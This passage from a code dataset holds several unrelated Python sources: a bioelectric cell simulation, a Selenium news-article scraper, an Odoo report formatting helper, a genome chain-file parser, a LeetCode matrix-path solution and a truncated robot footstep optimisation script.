volume.\n slew_cc *= (GP.cell_sa / GP.cell_vol)\n\n # Next, do generation and decay. These are already natively in moles/(m3*s).\n for g in GD_gates:\n slew_cc[g.out_ion] += g.func (g, cc_cells, Vm, t)\n\n return (slew_cc)\t# Moles/m3 per second.\n\n# Given: per-cell, per-ion charges in moles/m3.\n# First: sum them per-cell, scaled by valence to get \"signed-moles/m3\"\n# Next: multiply by F to convert moles->coulombs. Multiply by cell volume/\n# surface area to get coulombs/m2, and finally divide by Farads/m2.\n# The final scaling factor is F * p.cell_vol / (p.cell_sa*p.cm),\n# or about 3200 mV per (mol/m3)\ndef compute_Vm (Cc_cells):\n global cc_cells, GP\n cc_cells = Cc_cells\n\n # Calculate Vmem from scratch via the charge in the cells.\n rho_cells = (cc_cells * z_array[:,np.newaxis]).sum(axis=0) * GP.F\n return (rho_cells * GP.cell_vol / (GP.cell_sa*GP.cm))\n\n# The main entry point into this file.\n# Printout during simulation:\n#\tFor explicit simulation, we print at intervals based on\n#\tsim_dump_interval and sim_long_dump_interval. For implicit simulation,\n#\twe don't print at all.\n# Return values: (t_shots, cc_shots).\n#\tFor both explicit and implicit simulation, we always take 100 snapshots\n# during time [0,50] and then 200 shots over the entire rest of the simulation.\ndef sim (end_time):\n global cc_cells, Vm, GP\n if (GP.use_implicit):\n return (sim_implicit (end_time))\n\n # Save snapshots of core variables for plotting.\n t_shots=[]; cc_shots=[]; last_shot=-100;\n\n # run the simulation loop:\n i=0; t=0\n time_step = .005\t\t# seconds\n while (t < end_time):\n slew_cc = sim_slopes(t,cc_cells)\n\n if (GP.adaptive_timestep):\n # Compute Vmem slew (in Volts/s). Essentially, it's just slew_Q/C.\n # Slew_cc is slew-flux in moles/m3 per second.\n # First, in each cell, sum all ions weighted by valence.\n # Then mpy by...\n # ...(cell_vol/cell_sa) ->moles/(m2 of cell-memb cross-sec area)/s\n # ...F -> Coul /(m2 of cell-membrane cross-sec area)/s\n # ...1/C_mem -> Volts/s.\n mult = (GP.cell_vol / GP.cell_sa) * (GP.F/ GP.cm)\n slew_Vm = (slew_cc * z_array[:,np.newaxis]).sum(axis=0) * mult\n\n # Timestep control.\n # max_volts / (volts/sec) => max_time\n max_t_Vm = GP.sim_integ_max_delt_Vm / (np.absolute (slew_Vm).max())\n # (moles/m3*sec) / (moles/m3) => fractional_change / sec\n frac_cc = np.absolute(slew_cc)/(cc_cells+.00001)\n max_t_cc = GP.sim_integ_max_delt_cc / (frac_cc.max())\n n_steps = max (1, int (min (max_t_Vm, max_t_cc) / time_step))\n #print ('At t={}: max_t_Vm={}, max_t_cc={} => {} steps'.format(t, max_t_Vm, max_t_cc, n_steps))\n #print ('steps_Vm=', (.001/(time_step*np.absolute (slew_Vm))).astype(int))\n else:\n n_steps = 1\n\n # Dump out status occasionally during the simulation.\n # Note that this may be irregular; numerical integration could, e.g.,\n # repeatedly do i += 7; so if sim_dump_interval=10 we would rarely dump!\n if ((i % GP.sim_dump_interval == 0) and not GP.no_dumps):\n long = (i % GP.sim_long_dump_interval == 0)\n #edb.dump (t, cc_cells, edb.Units.mV_per_s, long)\n edb.dump (t, cc_cells, edb.Units.mol_per_m3s, long)\n #edb.analyze_equiv_network (cc_cells, GP)\n #edb.dump_gating ()\n\n if (t>9999999):\t\t# A hook to stop & debug during a sim.\n edb.debug_print_GJ (GP, cc_cells, 1)\n import pdb; pdb.set_trace()\n print (sim_slopes (t, cc_cells))\n\n cc_cells += slew_cc * n_steps * time_step\n i += n_steps\n t = i*time_step\n\n # Save information for plotting at sample points. Early on (when things\n # are changing quickly) save lots of info. Afterwards, save seldom so\n # as to save memory (say 100 points before & 200 after)\n boundary=min (50,end_time);\n before=boundary/100; after=(end_time-boundary)/200\n interval = (before if t last_shot+interval):\n t_shots.append(t)\n cc_shots.append(cc_cells.copy())\n last_shot = t\n\n return (t_shots, cc_shots)\n\n# Replacement for sim(); it uses scipy.integrate.solve_ivp()\n# Like sim(), it returns (t_shots, cc_shots).\ndef sim_implicit (end_time):\n import scipy.integrate\n global cc_cells, Vm, GP\n num_ions, num_cells = cc_cells.shape\n\n def wrap (t, y):\n global cc_cells\n #print ('----------------\\nt={:.9g}'.format(t))\n #np.set_printoptions(formatter={'float':'{:6.2f}'.format},linewidth=120)\n #print ('y={}'.format(y))\n #print (\"Vm = \", compute_Vm (y.reshape((num_ions,num_cells))))\n slew_cc = sim_slopes (t, y.reshape((num_ions,num_cells))) # moles/(m3*s)\n slew_cc = slew_cc.reshape (num_ions*num_cells)\n #np.set_printoptions(formatter={'float':'{:7.2g}'.format},linewidth=120)\n #print ('slews={}'.format(slew_cc))\n return (slew_cc)\n\n # Save information for plotting at sample points. Early on (when things\n # are changing quickly) save lots of info. Afterwards, save seldom so\n # as to save memory. So, 100 points in t=[0,50], then 200 in [50, end_time].\n boundary=min (50,end_time)\n t_eval = np.linspace (0,boundary,50,endpoint=False)\n if (end_time>50):\n t_eval = np.append (t_eval, np.linspace (boundary, end_time, 2000))\n\n # run the simulation loop\n y0 = cc_cells.reshape (num_ions*num_cells)\n bunch = scipy.integrate.solve_ivp (wrap, (0,end_time), y0, method='BDF',\n t_eval=t_eval, max_step=GP.max_step,\n\t\t\t\t rtol=GP.rel_tol, atol=GP.abs_tol)\n print ('{} func evals, status={} ({}), success={}'.format \\\n (bunch.nfev, bunch.status, bunch.message, bunch.success))\n if (not bunch.success):\n raise ValueError\n t_shots = t_eval.tolist()\n # bunch.y is [n_ions*n_cells, n_timepoints]\n cc_shots = [y.reshape((num_ions,num_cells)) for y in bunch.y.T]\n cc_cells = cc_shots[-1]\n return (t_shots, cc_shots)\n\n# Builds and returns a Norton equivalent model for all GJs.\n# Specifically, two arrays GJ_Ith and GJ_Gth of [n_ions,n_GJ].\n# - GJ_Ith[i,g] is the diffusive flux of ion #i in the direction of\n# GJ[g].from->to, and has units (mol/m2*s). It ignores ion valence completely,\n# since it's just diffusion.\n# - GJ_Gth*(Vto-Vfrom) is the drift flux of particles in the from->to direction;\n# GJ_Gth has units (mol/m2*s) per Volt. It is positive for negative ions and\n# vice versa.\n# The caller uses them to compute flux (in moles/(m2*s), in the direction from\n# GJ input to output, as flux = GJ_Ith + deltaV_GJ*GJ_Gth.\ndef GJ_norton (deltaV_GJ):\n global cc_cells, GP\n n_GJ = GJ_connects.size\n n_ions = cc_env.size\n\n # Compute ion drift and diffusion through GJs. Assume fixed GJ spacing\n # of GJ_len between connected cells.\n # First, compute d_conc/dx (assume constant conc in cells, and constant\n # gradients in the GJs).\n GJ_from = GJ_connects['from']\t# Arrays of [n_GJ]\n GJ_to = GJ_connects['to']\n D_scale = GJ_connects['scale']\n GJ_type = GJ_connects['type']\n\n deltaC_GJ=(cc_cells[:,GJ_to]-cc_cells[:,GJ_from])/GP.GJ_len #[n_ions,n_GJ]\n D = np.zeros ((n_ions, n_GJ))\t# diffusion constants.\n conc = np.zeros ((n_ions, n_GJ))\t# the concentration we use for drift\n\n for ion_index in range(n_ions):\n # Drift flux = velocity * conc. But a GJ connects two cells -- which\n # cell's concentration do we use? We originally used the average, but\n # that resulted in occasional negative concentrations. Now we use the\n # value of the cell that \"sources\" the ions (e.g., for a positive ion,\n # the cell with the more positive Vmem).\n # forw[n_GJ]: element #i is True if GJ[i] drifts forwards.\n forw = ((deltaV_GJ > 0) == (z_array[ion_index] < 0))\n # cell_idx[i] is the x such that GJ[i] uses cc[ion_index,x] for its conc\n cell_idx = np.where (forw, GJ_from, GJ_to)\t# [n_GJ]\n # Now use advanced indexing to make conc[] for this ion, all GJs\n conc[ion_index] = cc_cells[ion_index,cell_idx]\t\t# [n_GJ]\n\n # Pick the appropriate GJ diffusion constants for the GJ types.\n # Advanced indexing: GJ_diffusion is [n_ions,n_types] and GJ_type is\n # [n_GJs], so we get [n_GJs] * [n_GJs]\n D[ion_index] = GJ_diffusion[ion_index,GJ_type] * D_scale\n\n # GJ drift flux.\n u = D/(GP.kb*GP.T)\t# drift mobility, by the Einstein relationship\n # [n_ions,n_GJ] * scalar * [n_ions] * [n_ions,n_GJ] = [n_ions,n_GJ]\n GJ_Gth = -conc * GP.q * z_array.reshape((n_ions,1)) * u / GP.GJ_len\n GJ_Ith = -D * deltaC_GJ\n return (GJ_Ith, GJ_Gth)\n\n# Global arrays of Gate objects\nIC_gates=[]\nGJ_gates=[]\nGD_gates=[]\n\n# Constants to say which of the above global gates to put a new gate into.\nGATE_IC=0; GATE_GJ=1; GATE_GD=2\n\n# The runtime data structure for a single gate. Initialization parameters:\n# - f: the gating function. All gates need a function.\n# - dest: says whether this gate controls an ion channel, GJ or gen/decay.\n# It controls whether the gate gets appended to IC_gates,GJ_gates or GD_gates.\n# - out_ion: if the gate affects an IC or gen/decay, then which ion it affects.\n# However, GJs gate all ions equally, and hence don't use this field (in which\n# case we don't set it, and nobody should look at it).\nclass Gate:\n def __init__(self, f, dest, out_ion):\n self.func = f\n if (dest != GATE_GJ):\t# Used by the sim loop (see the comment\n self.out_ion = out_ion\t# just above).\n self.width = (GJ_connects.size if (dest==GATE_GJ) else cc_cells.shape[1])\n gate_arrays = (IC_gates, GJ_gates, GD_gates)\t# Stick this gate into\n gate_arrays[dest].append (self)\t\t\t# the appropriate list.\n\n######################################################\n# Hill gating\n######################################################\n# This is the first function a user calls; it creates a new Hill gating for one\n# output ion across all cells. It would most commonly be used for ion-channel\n# gating or for generation/decay.\n# You can supply kM, N and inv in many ways:\n# - not at all, in which they default to unity gating; then fill the cells in\n# one by one later with make_Hill_gate(). Specifically, if you let 'inv'\n# default, then we get unity gates everywhere.\n# - single numbers, which apply to all cells\n# - a cell-by-cell array to gate each cell differently.\ndef make_Hill_gates (gtype,out_ion,in_ion,inv=None,kM=1,N=1,kVMax=1,offset=0.0):\n g = Gate (Hill_gating, gtype, out_ion)\n g.in_ion = in_ion\t# Tell Hill_gating() which ligand controls the gate.\n if (inv==None):\t# default everything to unity gating\n inv=True; kM=1e30\t# i.e., kVMax * (1 / (1 - 0**N)) with kVMax=1.\n g.params = np.zeros ((5,g.width))\t# (5 params) x (# cells or GJs)\n g.params[0],g.params[1],g.params[2],g.params[3],g.params[4]=inv,kM,N,kVMax,offset\n return (g)\n\n# Changes the parameter of an existing gate 'g' in just one 'cell'.\ndef make_Hill_gate (g, cell, inv, kM=1, kVMax=1, N=1, offset=0.0):\n g.params[0:5,cell] = [inv, kM, N, kVMax, offset]\n\n# If a ligand in one cell is to affect a gate in a *different* cell, then\n# Hill_gate_unphysical_inputs() uses advanced indexing to let us do so.\n# The trick: normally in_ion is simply the number of which ion gates us, and\n# Hill_gating() gets its vector of inputs with cc_cells[in_ion]. So if in_ion=1,\n# then cc_cells[1] is [K] for all cells.\n# However, Hill_gate_unphysical_inputs() makes in_ion into a tuple; e.g.,\n# (1, [2,3,3,0,0]) for a 5-cell system. Then cc_cells[(1, [2,3,3,0,0])] gives us\n# cc_cells[1][2,3,3,0,0], which first gets cc_cells[1] and then uses the trick\n# of indexing a vector with another vector to give us a *reordering* of\n# cc_cells[1]: in this case, it is [1,2], [1,3], [1,3], [1,0], [1,0].\n# Unphysical gating is *needed* anytime we want to gate GJs rather than ICs\n# (see the comment at the top of the file for more details).\ndef Hill_gate_unphysical_inputs (g, inputs):\n g.in_ion=tuple([g.in_ion,inputs])\n\n# The function that actually computes the gating vector at runtime.\ndef Hill_gating (g, cc, Vm_ignore, t_ignore):\n # g.params[] is [5, # cells or GJs]. Assign each of its rows (i.e., a vector\n # of one parameter across all cells) to one variable.\n inv,kM,N,kVMax,offset = g.params # Each var is a vector (one val per cell).\n conc = cc[g.in_ion]\t# vector [N_CELLS]\n out = np.array (1 / (1 + ((conc/kM)**N)))\n out = 1 / (1 + ((conc/kM)**N))\n out = kVMax*((inv*out + (1-inv)*(1-out)) + offset)\t# any better way to do this?\n return (out)\n\n######################################################\n# Vmem gating\n######################################################\n# See all of the comments above for Hill-function gating.\n\n# Force to 1 with kM=big and kVMax=1\ndef make_Vmem_gates (gtype, out_ion, kM=100, N=1, kVMax=1):\n g = Gate (Vmem_gating, gtype, out_ion)\n g.in_cells = []\n g.params = np.zeros ((3,g.width))\n g.params[0], g.params[1], g.params[2] = kM, N, kVMax\n return (g)\n\ndef make_Vmem_gate (g, cell, kM, N=1, kVMax=1):\n g.params[0:3,cell] = kM, N, kVMax\n\ndef Vmem_gate_unphysical_inputs (g, inputs):\n g.in_cells = inputs\n\ndef Vmem_gating (g, cc_ignore, Vm, t_ignore):\n kM,N,kVMax = g.params\t# assign each row to one variable\n V = Vm[g.in_cells]\n out = kVMax / (1 + np.exp (N * (V-kM)))\n return (out)\n\n######################################################\n# Const-gen/decay gating\n######################################################\n# See all of the comments above for Hill-function gating.\n# Gen is a simple constant generation rate (moles/m^3 per s); decay is a simple\n# constant decay rate in 1/s.\n# If you want Hill-function generation, then this gate isn't enough. You could\n# use a Hill-function gate with gtype=GATE_GD; then you could instantiate a\n# GD_const_gating with gen=0 to get the decay.\n\ndef make_GD_const_gates (gtype, out_ion, gen=0, decay=0):\n assert (gtype==GATE_GD)\t# There's no other sensible choice.\n g = Gate (GD_const_gating, gtype, out_ion=out_ion)\n g.in_ion=out_ion\n g.params = np.zeros ((2,g.width))\n g.params[0], g.params[1] = gen, decay\n return (g)\n\ndef make_GD_const_gate (g, cell, gen=0, decay=0):\n g.params[0:2, cell] = [gen, decay]\n\ndef GD_const_gating (g, cc, Vm_ignore, t_ignore):\n gen_rate,decay_rate = g.params\t# Each is vector[N_CELLS]\n out = gen_rate - cc[g.in_ion]*decay_rate\n return (out)","repo_name":"ricomnl/EE123_bioelectricity","sub_path":"src/sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":23003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13257626695","text":"import csv\nfrom selenium import webdriver\nimport json\nfrom gne import GeneralNewsExtractor\nfrom selenium.webdriver.chrome.options import Options\nimport os\n\n# chrome_options = Options()\n# chrome_options.add_argument('--headless')\ndrive = webdriver.Chrome(executable_path=\"/Users/xiaoni/Downloads/chromedriver 2\")\n\nfieldnames = [\"url\", \"content\"]\n\ncsv_file = '20200704.csv'\n\n# if the file does not exist, then create a new file\nif not os.path.exists(csv_file):\n with open(csv_file, 'w', newline='', encoding='utf-8') as f:\n csv_writer = csv.DictWriter(f, fieldnames=fieldnames)\n csv_writer.writeheader()\n\n\ndef save_data(dict_data):\n new_data = {\n \"url\": data[i][1],\n \"content\": dict_data[\"content\"]\n }\n with open(csv_file, 'a', newline='', encoding='utf-8') as f:\n csv_writer = csv.DictWriter(f, fieldnames=fieldnames)\n csv_writer.writerow(new_data)\n\n\ndef recode_success(success):\n with open('success_202007.csv', 'a', newline='', encoding='utf-8') as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow(success)\n\n\ndef recode_error(error):\n with open('error_202007.csv', 'a', newline='', encoding='utf-8') as f:\n csv_writer = csv.writer(f)\n csv_writer.writerow(error)\n\n\nif __name__ == '__main__':\n csv_open = open('corona_domain_url.csv', 'r')\n csv_reader = csv.reader(csv_open, delimiter=';')\n data = list(csv_reader)\n\n for i in range(1, len(data)):\n try:\n drive.get(data[i][1])\n drive.implicitly_wait(20)\n html = drive.page_source\n extractor = GeneralNewsExtractor()\n result = extractor.extract(html,\n noise_node_list=['//div[@class=\"comment-list\"]',\n '//*[@style=\"display:none\"]',\n '//div[@class=\"statement\"]'\n ])\n except Exception:\n recode_error(data[i])\n\n else:\n recode_success(data[i])\n print(f'>>>>>>>>>>>>>>>>>>>>>>>>>>{data[i][1]}>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>')\n print(json.dumps(result, indent=2, ensure_ascii=False))\n print('<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<')\n save_data(result)\n\n finally:\n print('closed')\n\nprint(\"successful!\")\ninput()\n\ndrive.quit()\n","repo_name":"Sunxiaoni/NLP-CoronaNews-MachineLearning","sub_path":"1. Web crawling_8K articles.py","file_name":"1. Web crawling_8K articles.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"42994715899","text":"import locale\nfrom datetime import datetime\n\nlocale.setlocale(locale.LC_ALL, '')\n\n\ndef validate_date(date_text):\n try:\n res = ''\n if len(date_text) == 10:\n date = datetime.strptime(str(date_text), '%Y-%m-%d')\n res = date.strftime('%d/%m/%Y')\n if len(date_text) == 19:\n dt = datetime.strptime(str(date_text), '%Y-%m-%d %H:%M:%S')\n res = dt.strftime('%d/%m/%Y %H:%M:%S')\n\n return res\n except ValueError:\n return False\n\n\nclass vhr_report_common(object):\n\n def repair_data(self, data):\n if data and isinstance(data, dict):\n for key, val in data.iteritems():\n if isinstance(val, (list, tuple)) and len(val) == 2 and isinstance(val[0], (int, long)):\n data[key] = val[1]\n elif isinstance(val, (int, float, long)) and not isinstance(val, bool):\n new_val = val and locale.format('%d', val, 1) or '0'\n data[key] = new_val\n elif isinstance(val, (str, unicode)) and \"-\" in val and validate_date(val):\n new_val = validate_date(val)\n data[key] = new_val\n else:\n new_val = val if isinstance(val, (str, unicode)) else str(val or '')\n data[key] = new_val\n return data\n","repo_name":"lengocphat/DATN_phat_an","sub_path":"odoo-8.0/addons/vhr_report_docx/vhr_report_common.py","file_name":"vhr_report_common.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13343026060","text":"from __future__ import annotations\n\nimport re\nfrom typing import List, Tuple, Dict, Set\nfrom itertools import filterfalse\n\nchain_header_parser = re.compile(r'chain (\\d*) ([\\w.]*) (\\d*) (.) (\\d*) (\\d*) (\\w*) (\\d*) (.) (\\d*) (\\d*) (\\d*)')\n\n\ndef parse_header(header_line: str) -> tuple[int, str, int, str, int, int, str, int, str, int, int, str]:\n header_match = chain_header_parser.match(header_line)\n\n score = int(header_match.group(1))\n t_name = header_match.group(2)\n t_size = int(header_match.group(3))\n t_strand = header_match.group(4)\n t_start = int(header_match.group(5))\n t_end = int(header_match.group(6))\n q_name = header_match.group(7)\n q_size = int(header_match.group(8))\n q_strand = header_match.group(9)\n q_start = int(header_match.group(10))\n q_end = int(header_match.group(11))\n missing = header_match.group(12)\n\n return score, t_name, t_size, t_strand, t_start, t_end, q_name, q_size, q_strand, q_start, q_end, missing\n\n\nclass ChainHeaderLine:\n def __init__(\n self,\n score: int,\n t_name: str,\n t_size: int,\n t_strand: str,\n t_start: int,\n t_end: int,\n q_name: str,\n q_size: int,\n q_strand: str,\n q_start: int,\n q_end: int,\n missing: str\n ):\n self.score = score\n self.t_name = t_name\n self.t_size = t_size\n self.t_strand = t_strand\n self.t_start = t_start\n self.t_end = t_end\n self.q_name = q_name\n self.q_size = q_size\n self.q_strand = q_strand\n self.q_start = q_start\n self.q_end = q_end\n self.missing = missing\n\n @staticmethod\n def create_from_string(line: str) -> ChainHeaderLine:\n score, t_name, t_size, t_strand, t_start, t_end, q_name, q_size, q_strand, q_start, q_end, missing = \\\n parse_header(line)\n\n return ChainHeaderLine(\n score,\n t_name,\n t_size,\n t_strand,\n t_start,\n t_end,\n q_name,\n q_size,\n q_strand,\n q_start,\n q_end,\n missing\n )\n\n def __str__(self):\n return \"chain {0} {1} {2} {3} {4} {5} {6} {7} {8} {9} {10} {11}\".format(\n self.score,\n self.t_name,\n self.t_size,\n self.t_strand,\n self.t_start,\n self.t_end,\n self.q_name,\n self.q_size,\n self.q_strand,\n self.q_start,\n self.q_end,\n self.missing\n )\n\n\nclass ChainFile:\n def __init__(self, path: str):\n self.chains: List[Tuple[ChainHeaderLine, List[str]]] = []\n\n parsed_header: ChainHeaderLine | None = None\n parsed_entries: List[str] = []\n with open(path) as chain_file:\n for line in chain_file:\n if line.startswith(\"chain\"):\n if parsed_header is not None:\n self.chains.append((parsed_header, parsed_entries))\n parsed_entries: List[str] = []\n parsed_header = ChainHeaderLine.create_from_string(line)\n elif len(line) > 2:\n parsed_entries.append(line)\n if parsed_header is not None:\n self.chains.append((parsed_header, parsed_entries))\n\n def translate(self,\n translate_source_dict: Dict[str, str] = None,\n translate_destination_dict: Dict[str, str] = None):\n if translate_source_dict is None:\n translate_source_dict = {}\n if translate_destination_dict is None:\n translate_destination_dict = {}\n\n for chain in self.chains:\n t_name_new = chain[0].t_name\n if chain[0].t_name in translate_source_dict:\n t_name_new = translate_source_dict[chain[0].t_name]\n\n q_name_new = chain[0].q_name\n if chain[0].q_name in translate_destination_dict:\n q_name_new = translate_destination_dict[chain[0].q_name]\n\n chain[0].t_name = t_name_new\n chain[0].q_name = q_name_new\n\n def truncate(self,\n truncate_source: Set[str] = None,\n truncate_destination: Set[str] = None):\n if truncate_source is None:\n truncate_source = set()\n if truncate_destination is None:\n truncate_destination = set()\n self.chains[:] = filterfalse(\n lambda chain: chain[0].t_name in truncate_source or chain[0].q_name in truncate_destination,\n self.chains\n )\n\n\n\n\n\n def extract_reference_description(self) -> Tuple[Dict[str, int], Dict[str, int]]:\n source_info: Dict[str, int] = {}\n destination_info: Dict[str, int] = {}\n\n for header, _ in self.chains:\n if header.t_name in source_info:\n if source_info[header.t_name] != header.t_size:\n raise Exception(\"Source information inconsistent for \" + header.t_name)\n source_info[header.t_name] = header.t_size\n\n if header.q_name in destination_info:\n if destination_info[header.q_name] != header.q_size:\n raise Exception(\"Destination information inconsistent for \" + header.q_name)\n destination_info[header.q_name] = header.q_size\n\n return source_info, destination_info\n\n def write(self, chain_output_path):\n with open(chain_output_path, \"w\") as output_file:\n for header, entries in self.chains:\n output_file.write(str(header)+\"\\n\")\n for entry in entries:\n output_file.write(entry)\n output_file.writelines(\"\\n\")\n","repo_name":"cassisnaro/ChainDoctor","sub_path":"ChainFile.py","file_name":"ChainFile.py","file_ext":"py","file_size_in_byte":5833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"22694652420","text":"#\n# @lc app=leetcode.cn id=329 lang=python3\n#\n# [329] 矩阵中的最长递增路径\n#\n\n# @lc code=start\nclass Solution:\n def longestIncreasingPath(self, matrix: List[List[int]]) -> int:\n result = 0\n m,n=len(matrix),len(matrix[0])\n flag=[[-1]*n for _ in range(m)]\n\n\n def dfs(matrix,i,j,flag):\n if flag[i][j]!=-1:\n return flag[i][j]\n else:\n d=1\n dirs=[[-1,0],[1,0],[0,-1],[0,1]]\n for dir in dirs:\n x=i+dir[0]\n y=j+dir[1]\n if x>=0 and x=0 and y Double Support (land Right Foot) -> Right Support\n# Number of Steps\nNstep = 3 #Enumeration of the Steps start from 0, so Number of Steps - 1, use mod function to check it is left or right\n# Define Initial Condition\nx_init = 0\n#y_init = 0\nz_init = 0.6\n# Initial Contact Foot Location, according to the defined gait pattern, it is a left foot\npx_init = 0\npy_init = 0\npz_init = 0\n# Define Terminal Condition\nx_end = 0.7\n#y_end = 0\nz_end = 0.6\n#-----------------------------------------------------------------------------------------------------------------------\n#Kinematics Constraint for Talos\nkinematicConstraints = genKinematicConstraints(left_foot_constraints, right_foot_constraints)\nK_CoM_Left = kinematicConstraints[0][0]\nk_CoM_Left = kinematicConstraints[0][1]\nK_CoM_Right = kinematicConstraints[1][0]\nk_CoM_Right = kinematicConstraints[1][1]\n#Relative Foot Constraint matrices\nrelativeConstraints = genFootRelativeConstraints(right_foot_in_lf_frame_constraints, left_foot_in_rf_frame_constraints)\n#Q_rf_in_lf = relativeConstraints[0][0]\n#q_rf_in_lf = relativeConstraints[0][1]\n#Q_lf_in_rf = relativeConstraints[1][0]\n#q_lf_in_rf = relativeConstraints[1][1]\n#------\nQ_lf_in_rf = relativeConstraints[0][0] #named rf in lf, but representing lf in rf\nq_lf_in_rf = relativeConstraints[0][1] #named rf in lf, but representing lf in rf\nQ_rf_in_lf = relativeConstraints[1][0] #named lf in rf, but representing rf in lf\nq_rf_in_lf = relativeConstraints[1][1] #named lf in rf, but representing rf in lf\n#-----------------------------------------------------------------------------------------------------------------------\n#Define Variables and Lower and Upper Bounds\n# CoM Position, 2 knots per step\nx = []\nxlb = []\nxub = []\ny = []\nylb = []\nyub = []\nz = []\nzlb = []\nzub = []\npx = []\npxlb = []\npxub = []\npy = []\npylb = []\npyub = []\npz = []\npzlb = []\npzub = []\n\nfor stepIdx in range(Nstep):\n #For CoM state, each phase/step has two knots\n xtemp = ca.SX.sym('x'+str(stepIdx+1),2)\n x.append(xtemp)\n xlb.append(np.array([-5,-5]))\n xub.append(np.array([5,5]))\n\n ytemp = ca.SX.sym('y'+str(stepIdx+1),2)\n y.append(ytemp)\n ylb.append(np.array([-2,-2]))\n yub.append(np.array([2,2]))\n\n ztemp = ca.SX.sym('z'+str(stepIdx+1),2)\n z.append(ztemp)\n zlb.append(np.array([-3,-3]))\n zub.append(np.array([3,3]))\n\n pxtemp = ca.SX.sym('px'+str(stepIdx+1))\n px.append(pxtemp)\n pxlb.append(np.array([-5]))\n pxub.append(np.array([5]))\n\n pytemp = ca.SX.sym('py'+str(stepIdx+1))\n py.append(pytemp)\n pylb.append(np.array([-2]))\n pyub.append(np.array([2]))\n\n # Foot steps are all staying on the ground\n pztemp = ca.SX.sym('pz'+str(stepIdx+1))\n pz.append(pztemp)\n pzlb.append(np.array([0]))\n pzub.append(np.array([0]))\n\nx = ca.vertcat(*x)\ny = ca.vertcat(*y)\nz = ca.vertcat(*z)\npx = ca.vertcat(*px)\npy = ca.vertcat(*py)\npz = ca.vertcat(*pz)\n\nDecisionVars = ca.vertcat(x,y,z,px,py,pz) #treat all elements in the list as single variables\nDecisionVarsShape = DecisionVars.shape #get decision variable list shape, for future use\n\nDecisionVars_lb = np.concatenate((xlb,ylb,zlb,pxlb,pylb,pzlb),axis=None)\nDecisionVars_ub = np.concatenate((xub,yub,zub,pxub,pyub,pzub),axis=None)\n\n# Temporary Code for array/matrices multiplication\n#x = ca.SX.sym('x',2)\n#y = ca.DM(np.array([[1,2]]))\n#z = x.T@y\n#print(z)\n#-----------------------------------------------------------------------------------------------------------------------\n\n\n#-----------------------------------------------------------------------------------------------------------------------\n#Define Constrains\n# Build Containers\ng = []\nglb = []\ngub = []\n\n# Initial Condition\n#g.append(x[0]-x_init)\ng.append(x[0]-px_init)\nglb.append(np.array([0]))\ngub.append(np.array([0]))\n\n#g.append(y[0]-y_init)\n#glb.append(np.array([0]))\n#gub.append(np.array([0]))\n\n#g.append(y[0]-py_init)\n#glb.append(np.array([0]))\n#gub.append(np.array([0]))\n\ng.append(z[0]-z_init)\nglb.append(np.array([0]))\ngub.append(np.array([0]))\n\n# Terminal Condition\ng.append(x[-1]-x_end)\nglb.append(np.array([0]))\ngub.append(np.array([0]))\n\n#g.append(y[-1]-y_end)\n#glb.append(np.array([0]))\n#gub.append(np.array([0]))\n\ng.append(z[-1]-z_end)\nglb.append(np.array([0]))\ngub.append(np.array([0]))\n\n#-----------------------------\n#g.append(x[-1]-x_end)\n#glb.append(np.array([0]))\n#gub.append(np.array([0]))\n\ng.append(px[-1]-x[-1])\nglb.append(np.array([0]))\ngub.append(np.array([np.inf]))\n\n#g.append(y[-1]-py[-1])\n#glb.append(np.array([0]))\n#gub.append(np.array([0]))\n\n#g.append(z[-1]-z_end)\n#glb.append(np.array([0]))\n#gub.append(np.array([0]))\n\n# Loop over to have Kinematics Constraint\nfor Nph in range(Nstep):\n print('Phase: '+ str(Nph+1))\n CoM_0 = ca.vertcat(x[2*Nph],y[2*Nph],z[2*Nph])\n print(CoM_0)\n CoM_1 = ca.vertcat(x[2*Nph+1],y[2*Nph+1],z[2*Nph+1])\n print(CoM_1)\n if Nph == 0:\n P_k_current = ca.DM(np.array([px_init,py_init,pz_init]))\n P_k_next = ca.vertcat(px[Nph],py[Nph],pz[Nph])\n else:\n P_k_current = ca.vertcat(px[Nph-1],py[Nph-1],pz[Nph-1])\n P_k_next = ca.vertcat(px[Nph],py[Nph],pz[Nph])\n print(P_k_current)\n print(P_k_next)\n\n #Put Kinematics Constraint\n\n if Nph%2 == 0: #even number, left foot in contact for p_current, right foot is going to land as p_next\n print('Left in contact, move right')\n #CoM Kinemactis Constraint for the support foot (CoM_0 in *current* contact -> left)\n g.append(K_CoM_Left@(CoM_0-P_k_current))\n glb.append(np.full((len(k_CoM_Left),),-np.inf))\n gub.append(k_CoM_Left)\n #CoM Kinemactis Constraint for the support foot (CoM_0 in *next* contact -> right)\n g.append(K_CoM_Right@(CoM_0-P_k_next))\n glb.append(np.full((len(k_CoM_Right),),-np.inf))\n gub.append(k_CoM_Right)\n #CoM Kinemactis Constraint for the swing foot (CoM_1 land but in the *current* contact -> left)\n g.append(K_CoM_Left@(CoM_1-P_k_current))\n glb.append(np.full((len(k_CoM_Left),),-np.inf))\n gub.append(k_CoM_Left)\n #CoM Kinemactis Constraint for the swing foot (CoM_1 land but in the *next* contact -> right)\n g.append(K_CoM_Right@(CoM_1-P_k_next))\n glb.append(np.full((len(k_CoM_Right),),-np.inf))\n gub.append(k_CoM_Right)\n #Relative Swing Foot Location (rf in lf)\n g.append(Q_rf_in_lf@(P_k_next-P_k_current))\n glb.append(np.full((len(q_rf_in_lf),),-np.inf))\n gub.append(q_rf_in_lf)\n\n #test\n #g.append(Q_lf_in_rf@(P_k_next-P_k_current))\n #glb.append(np.full((len(q_lf_in_rf),),-np.inf))\n #gub.append(q_lf_in_rf)\n\n elif Nph%2 ==1: #odd number, right foot in contact for p_current, left foot is going to land at p_next\n print('Right in contact, move left')\n #CoM Kinemactis Constraint for the support foot (CoM_0 in *current* contact -> right)\n g.append(K_CoM_Right@(CoM_0-P_k_current))\n 